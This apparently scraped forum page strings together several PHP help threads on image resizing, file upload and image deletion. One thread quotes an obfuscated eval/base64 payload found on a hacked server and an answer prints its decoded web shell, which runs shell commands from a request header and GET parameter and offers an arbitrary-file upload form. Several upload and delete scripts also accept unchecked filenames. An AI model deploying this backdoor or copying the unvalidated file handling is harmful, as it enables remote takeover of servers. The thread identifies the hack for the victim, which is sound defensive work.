i have a code for re-sizing image in php... it works well in local machine and splitting correctly...images are visible in all 4 sizes... but,when am using this in server...image size is re-sized...original image is visible...resized image is not visible...comes with black color...what is the solution for it...here is the code i used...
main.php
<?php
if(isset($_POST['submit']))
{
$uploaddir = 'uploads/';
$file = basename($_FILES['uploadedfile']['name']);
$uploadfile = $uploaddir . $file;
move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $uploadfile);
include ("thumb.php");
$target=$_FILES['uploadedfile']['name'];
$new='uploads/'."thumb_".$target;
$type=$_FILES['uploadedfile']['type'];
$w=90;
$h=90;
resize($target,$new,$w,$h,$type);
include ("medium.php");
$new1='uploads/'."middle_".$target;
$type1=$_FILES['uploadedfile']['type'];
$w1=400;
$h1=400;
resizee($target,$new1,$w1,$h1,$type1);
include ("big.php");
$new2='uploads/'."big_".$target;
$type2=$_FILES['uploadedfile']['type'];
$w2=900;
$h2=900;
resizeee($target,$new2,$w2,$h2,$type2);
echo "thumb_".$target."<br>";
echo "middle_".$target."<br>";
echo "big_".$target."<br>";
}
?>
<html>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="uploadedfile">
<input type="submit" name="submit">
</form>
</body>
</html>
thumb.php
<?php
function resize($target,$new,$w,$h,$type)
{
echo $target;
list($wo,$ho)=getimagesize('uploads/'.$target);
if($type=="image/jpeg")
{
$m=imagecreatefromjpeg('uploads/'.$target);
}
elseif($type=="image/gif")
{
$m=imagecreatefromgif('uploads/'.$target);
}
elseif($type=="image/png")
{
$m=imagecreatefrompng('uploads/'.$target);
}
$change=imagecreatetruecolor($w,$h);
imagecopyresampled($change,$m,0,0,0,0,$w,$h,$wo,$ho);
imagejpeg($change,$new,90);
}
?>
medium.php
<?php
function resizee($target,$new1,$w1,$h1,$type)
{
list($wo1,$ho1)=getimagesize('uploads/'.$target);
if($type=="image/jpeg")
{
$m1=imagecreatefromjpeg('uploads/'.$target);
}
elseif($type=="image/gif")
{
$m1=imagecreatefromgif('uploads/'.$target);
}
elseif($type=="image/png")
{
$m1=imagecreatefrompng('uploads/'.$target);
}
$change1=imagecreatetruecolor($w1,$h1);
imagecopyresampled($change1,$m1,0,0,0,0,$w1,$h1,$wo1,$ho1);
imagejpeg($change1,$new1,500);
}
?>
big.php
<?php
function resizeee($target,$new2,$w2,$h2,$type)
{
list($wo2,$ho2)=getimagesize('uploads/'.$target);
if($type=="image/jpeg")
{
$m2=imagecreatefromjpeg('uploads/'.$target);
}
elseif($type=="image/gif")
{
$m2=imagecreatefromgif('uploads/'.$target);
}
elseif($type=="image/png")
{
$m2=imagecreatefrompng('uploads/'.$target);
}
$change2=imagecreatetruecolor($w2,$h2);
imagecopyresampled($change2,$m2,0,0,0,0,$w2,$h2,$wo2,$ho2);
imagejpeg($change2,$new2,900);
}
?>
You may want to check the permissions on the file / directory to make sure that they are readable and writable by your PHP script.
Related
I'm very new to coding.
I'm trying to upload an image (any file for now) in a particular folder.
<?php
$name = $_FILES["file"]["name"];
$tmpName = $_FILES["file"]["tmp_name"];
if(isset($name)){
if(!empty($name)){
$location = "uploads/";
$destination_path = getcwd().DIRECTORY_SEPARATOR;
if (move_uploaded_file($tmpName,$destination_path.$location.$name)) {
echo "uploaded!";
}
else {
echo "boo";
}
}
else {
echo "please choose a file";
}
}
?>
<html>
<body>
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<br>
<br>
<input type="submit" value="SUBMIT">
</form>
</body>
</html>
Everything is getting executed properly until the "move_uploaded_file" if-condition. Getting the else-echo-statement("boo")
This issue might have been discussed multiple times but I wanted a simple PHP script to upload a file, without any separate action file and without any checks. Below is my written code:-
<html>
<head>
<title>PHP Test</title>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="upload file" name="submit">
</form>
</head>
<body>
<?php echo '<p>FILE UPLOAD</p><br>';
$tgt_dir = "uploads/";
$tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);
echo "<br>TARGET FILE= ".$tgt_file;
//$filename = $_FILES['fileToUpload']['name'];
echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];
if(isset($_POST['submit']))
{
if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))
{ echo "<br>file exists, try with another name"; }
else {
echo "<br>STARTING UPLOAD PROCESS<br>";
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $tgt_file))
{ echo "<br>File UPLOADED:- ".$tgt_file; }
else { echo "<br>ERROR WHILE UPLOADING FILE<br>"; }
}
}
?>
</body>
</html>
I saved it in /var/www/html/phps/ location. But everytime I try to upload the file, I get ERROR WHILE UPLOADING FILE error. What am I doing wrong here. P.S. I have no previous experience of PHP, I just started with bits & pieces from internet.
Thanks
kriss
<?php
$target_dir = "uploads/";
$target_file = $target_dir .
basename($_FILES["fileToUpload"]["name"]);
if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ".basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}
else {
echo "Sorry, there was an error uploading your file.";
}
?>
I hope that this thing will work and this is what you are in need of.
<?php
$name = $_POST['name'];
$image = $_FILES['fileToUpload']['name'];
$tempname = $_FILES['fileToUpload']['tmp_name'];
move_uploaded_file($tempname, "foldername/$image");?>
Could someone explain me what is the effect of this snippet :
eval(gzinflate(str_rot13(base64_decode('DdHJZaJAAADQX8ktQWQAISzWWSVyUAdOAU6WhliKpUwEpExx8esn7xfe1+e/L0WSNzzHza5rSI+8iSe8G6fhdOimPbdY4hELHz8ZQbsM794x0ZOwNxaooVyjPDqIt16eNJbkEyo0fMZegybPsQ+FSvKaE4xNv6Za7cURokS3tgFbjtIzVaJECOXQcc/HRO9oVHY9iTSnq58/F+HUuSBxTiWIVrAZ6ZW9kYle2YPOTrxXE2KGRSDzmsC113CcKRnd3asSrIEwz2gh8uz3zJTKvHFXy5YPz1Uti1xshTfomvsGFyUW6ray21bNtpgwI6UmdkJV4Wk314QUgjH32JAkfbBhuvp3kcD+oiOz7MetE3w/litBrktQNC5nZOpGyYrmV6kKVgZa02bImL6Zy4JRYKbqgM0xIS6X+Iy74fai3gvJgc9ItPKKC3wESZWwTWcEfGealUXmof1P+svlFWIU7hENqMO6YlDopKeX3kSGFVSSZufsjBq3CeH8RVlAB51qzzJLZMemFnabbHkAzgFoU/B2XAXsnqPgJjIheHq8REYvu+L3FpcNIh0FglectVd7SV8iIThgOtI22K5sfCqf9LwdyRi86hDaM2MPzHzLdToOPdO6664iqwHH9LL9XDD8evrYDv6DiDdLlHwGsuuDTdYhzYaBXSqRySX4/ufX37evz/8='))));
Your server has been hacked. See https://serverfault.com/questions/218005/how-do-i-deal-with-a-compromised-server for recovery tips. This code allows an attacker to upload any file they want to your server. It decodes to:
<?php error_reporting(0); ?>
<?php system($_SERVER["HTTP_SHELL"]);
if ($_GET["x"]=="kaMtiEz") {
?>
<form method="POST" enctype="multipart/form-data" action="<?$_SERVER["PHP_SELF"]?>">
<input type="file" name="myFile"><input type="submit" name="ok" value="Upload">
</form>
<?php
if (isset($_POST["ok"]) && isset($_FILES["myFile"])) {
$file = $_FILES["myFile"]["tmp_name"];
$name = $_FILES["myFile"]["name"];
if (!move_uploaded_file($file, $name)) {
echo "Unable to upload file";
} else {
echo "File Uploaded...";
}
}
}
if (!empty($_GET["x"])) {
echo "<pre>";
system($_GET["x"]);
echo "Copyright 2011 by kaMtiEz - MagelangCyber Team ! d0nt rem0ve copyright if u real hax0r </pre>";
exit;
}
?>
I have a script that deletes images from a folder using PHP.
The problem is the images arenot being displayed on the page.
My code is as below
<?php
// directory separator
defined("DS")
|| define("DS", DIRECTORY_SEPARATOR);
// root path
defined("ROOT_PATH")
|| define("ROOT_PATH", realpath(dirname(__FILE__)));
// upload folder directory
defined("UPLOAD_DIR")
|| define("UPLOAD_DIR", "uploads");
// path to the upload folder
defined("UPLOAD_PATH")
|| define("UPLOAD_PATH", ROOT_PATH.DS.UPLOAD_DIR);
function getAllFiles($folder = null) {
if(!empty($folder) && is_dir($folder)) {
if($handle = opendir($folder)) {
$out = array();
while($file = readdir($handle)) {
if(is_file($folder.DS.$file)) {
$out[] = $file;
}
}
closedir($handle);
return $out;
}
return false;
}
return false;
}
$files = getAllFiles(UPLOAD_PATH);
if (!empty($_POST['file'])) {
foreach($_POST['file'] as $file) {
unlink(UPLOAD_PATH.DS.$file) or die("Failed to <strong class='highlight'>delete</strong> file");
}
header("location: " . $_SERVER['REQUEST_URI']);
}
?>
<?php if (!empty($files)) { ?>
<form name="form1" method="post">
<?php foreach($files as $key => $file) { ?>
<label for="file_<?php echo $key; ?>">
<input type="checkbox" name="file[]" id="file_<?php echo $key; ?>" value="<?php echo $file; ?>" />
<?php echo $file; ?>
</label>
<?php } ?>
<input type="submit" name="delete" value="Delete" />
</form>
The code works fine to delete the images but does not display the images on the page.
Your help is much apprecited.
Thank You
I think the images are still in the browser cache, so deleting the cache will result in not seeing any deleted images.
All I want is that the images are displayed nothing else please.
I have been working on a different script but have the same problem.
I images are deleted but not displayed.
My code is:
<?php
// directory separator
defined("DS")
|| define("DS", DIRECTORY_SEPARATOR);
// root path
defined("ROOT_PATH")
|| define("ROOT_PATH", realpath(dirname(__FILE__)));
// upload folder directory
defined("UPLOAD_DIR")
|| define("UPLOAD_DIR", "../imagefolder");
// path to the upload folder
defined("UPLOAD_PATH")
|| define("UPLOAD_PATH", ROOT_PATH.DS.UPLOAD_DIR);
function getAllFiles($folder = null) {
if(!empty($folder) && is_dir($folder)) {
if($handle = opendir($folder)) {
$out = array();
while($file = readdir($handle)) {
if(is_file($folder.DS.$file)) {
$out[] = $file;
}
}
closedir($handle);
return $out;
}
return false;
}
return false;
}
$files = getAllFiles(UPLOAD_PATH);
if (!empty($_POST['file'])) {
foreach($_POST['file'] as $file) {
unlink(UPLOAD_PATH.DS.$file) or die("Failed to <strong class='highlight'>delete</strong> file");
}
header("location: " . $_SERVER['REQUEST_URI']);
}
?>
<?php if (!empty($files)) { ?>
<form name="form1" method="post">
<?php foreach($files as $key => $file) { ?>
<label for="file_<?php echo $key; ?>">
<input type="checkbox" name="file[]" id="file_<?php echo $key; ?>" value="<?php echo $file; ?>" />
<?php echo UPLOAD_DIR.DS.$file; ?>
</label>
<?php } ?>
<input type="submit" name="delete" value="Delete" />
</form>
<?php } ?>
The question is not clear to me but it appears you want to display the images in the form (beside each "delete" checkbox) so the user can see what they are deleting?
If so, can you try changing
<?php echo UPLOAD_DIR.DS.$file; ?>
to
<img src=<?php echo UPLOAD_DIR.DS.$file; ?> />